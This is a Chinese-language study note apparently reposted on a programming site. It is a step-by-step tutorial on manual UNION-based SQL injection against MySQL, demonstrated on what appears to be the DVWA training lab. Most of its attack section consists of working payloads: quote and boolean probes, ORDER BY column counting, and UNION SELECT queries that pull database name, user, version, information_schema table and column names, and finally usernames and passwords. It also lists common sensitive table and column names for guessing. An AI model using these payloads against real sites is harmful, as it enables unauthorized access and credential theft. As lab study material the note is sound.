学习笔记十二:MySQL手注之联合查询注入
2021/12/5 19:48:51
本文主要是介绍学习笔记十二:MySQL手注之联合查询注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
原理
union select 联合查询,即合并(取交集,结果中没有重复⾏)前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。
Union联合查询注入基本流程
1.判断是否存在注入(数字型还是字符型)
方法一:单引号法
'
方法二:逻辑法
and 1=1
and 1=2
1' and '1'='1
1' and '1'='2
方法三:运算法
-1
-0
2.猜解表名
常见的敏感表名
admin
user
admin_userinfo
system
vipuser
a_admin
xxx_admin
……
3.猜解字段数
order by xx //xx是一个数字,表示你所猜的字段数
4.猜解字段名
常见的敏感字段名
username
password
admin_username
admin_password
……
5.获取数据
union select 1,2,3... from xx
MySQL手注之联合查询注入步骤详解
1.判断是否存在注入,注入类型是数字型还是字符型
输入ID为1'时出现提示You have an error in your SQL……to use near ''1'' at line 1
此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1''
输入ID为1' and '1' = '1时,返回了ID:1' and '1' = '1 First name:admine 和Surname: admin
此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' and '1' = '1'
输入ID为1' or '1' = '1时,界面将所有用户信息(ID,First name,Surname)都显示出来
此时系统执行的语句就是 SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1'
若以上实验过程成功的话,就可以说明存在字符型注入
2.猜解字段数
若输入ID为1' order by 2 #时,界面返回ID:1' order by 2 # First name:admin Surname:admin
而当输入ID为1' order by 3 #时,页面返回Unknown column '3' in 'order clause'
这就说明SQL语句查询的表的字段数是2
3.联合查询
获取当前数据库和数据库用户名
1' union select database(),user() #
获取当前的数据库版本和操作系统
1' union select version(),@@version_compile_os#
获取数据
在此之前我们需要判断MySQL的版本。因为当MySQL的版本⼩于4.0时,是不⽀持union select联合查询的;当MySQL版本⼤于 5.0时,有个默认数据库information_schema,保存了 Mysql服务器所有数据库的信息,如数据库名,数据库的表, 表栏的数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
获取数据表名
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
获取表中的列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
获取数据
1' union select user,password from users#
这篇关于学习笔记十二:MySQL手注之联合查询注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-04部署MySQL集群项目实战:新手入门教程
- 2024-11-04如何部署MySQL集群资料:新手入门指南
- 2024-11-02MySQL集群项目实战:新手入门指南
- 2024-11-02初学者指南:部署MySQL集群资料
- 2024-11-01部署MySQL集群教程:新手入门指南
- 2024-11-01如何部署MySQL集群:新手入门教程
- 2024-11-01部署MySQL集群学习:新手入门教程
- 2024-11-01部署MySQL集群入门:新手必读指南
- 2024-10-23BinLog入门:新手必读的MySQL二进制日志指南
- 2024-10-23Binlog入门:MySQL数据库的日志管理指南